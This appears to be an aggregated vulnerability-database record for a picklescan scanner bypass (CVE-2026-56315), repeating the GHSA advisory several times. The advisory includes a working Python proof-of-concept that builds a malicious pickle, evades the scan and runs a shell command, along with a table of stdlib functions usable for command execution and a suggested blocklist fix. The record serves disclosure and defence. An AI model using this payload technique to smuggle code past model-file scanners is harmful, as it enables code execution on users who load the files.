{"id":"CVE-2026-56315","aliases":["EUVD-2026-38437","GHSA-g38g-8gr9-h9xp","GHSA-g7vj-qw6x-g3p8","PYSEC-2026-4134"],"status":"published","title":"picklescan - Remote Code Execution via Unblocked Standard Library Modules","description":"picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01147,"percentile":0.67241,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184","CWE-693"],"published":"2026-03-03T20:05:26Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["1.0.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.2","1.0.3"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.2","1.0.3"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56315","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g38g-8gr9-h9xp","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g7vj-qw6x-g3p8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56315.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-56315","title":"picklescan - Remote Code Execution via Unblocked Standard Library Modules","description":"picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"published","published":"2026-06-23T12:13:02.736Z","modified":"2026-06-23T13:16:50.727Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T13:37:02.780526Z"}],"euvd":[{"id":"EUVD-2026-38437","description":"picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"published","published":"2026-06-23T12:13:02Z","modified":"2026-06-23T13:16:50Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:20:33.324654Z"}],"ghsa":[{"id":"GHSA-g38g-8gr9-h9xp","title":"PickleScan has multiple stdlib modules with direct RCE not in blocklist","description":"## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`","status":"published","published":"2026-03-03T20:05:26Z","modified":"2026-09-25T13:33:58Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184","CWE-693"],"updated_at":"2026-11-02T14:41:21.616682Z"},{"id":"GHSA-g7vj-qw6x-g3p8","title":"Duplicate Advisory: PickleScan has multiple stdlib modules with direct RCE not in blocklist","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-g38g-8gr9-h9xp. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"withdrawn","published":"2026-06-23T15:32:36Z","modified":"2026-09-23T21:26:43Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-56315","description":"picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"published","published":"2026-06-23T13:16:45.77Z","modified":"2026-06-23T14:52:58.543Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-56315","title":"picklescan - Remote Code Execution via Unblocked Standard Library Modules","description":"picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"published","published":"2026-06-23T12:13:02.736Z","modified":"2026-10-28T02:31:00.626735329Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:45:11.609219Z"},{"id":"GHSA-g38g-8gr9-h9xp","title":"PickleScan has multiple stdlib modules with direct RCE not in blocklist","description":"## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`","status":"published","published":"2026-03-03T20:05:26Z","modified":"2026-10-01T17:56:11.135756115Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184","CWE-693"],"updated_at":"2026-11-02T15:46:47.119724Z"},{"id":"GHSA-g7vj-qw6x-g3p8","title":"Duplicate Advisory: PickleScan has multiple stdlib modules with direct RCE not in blocklist","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-g38g-8gr9-h9xp. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.","status":"withdrawn","published":"2026-06-23T15:32:36Z","modified":"2026-09-23T21:45:08.024917829Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"PYSEC-2026-4134","title":"PickleScan has multiple stdlib modules with direct RCE not in blocklist","description":"## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`","status":"published","published":"2026-10-01T16:38:26.05208Z","modified":"2026-10-01T17:45:12.75956611Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}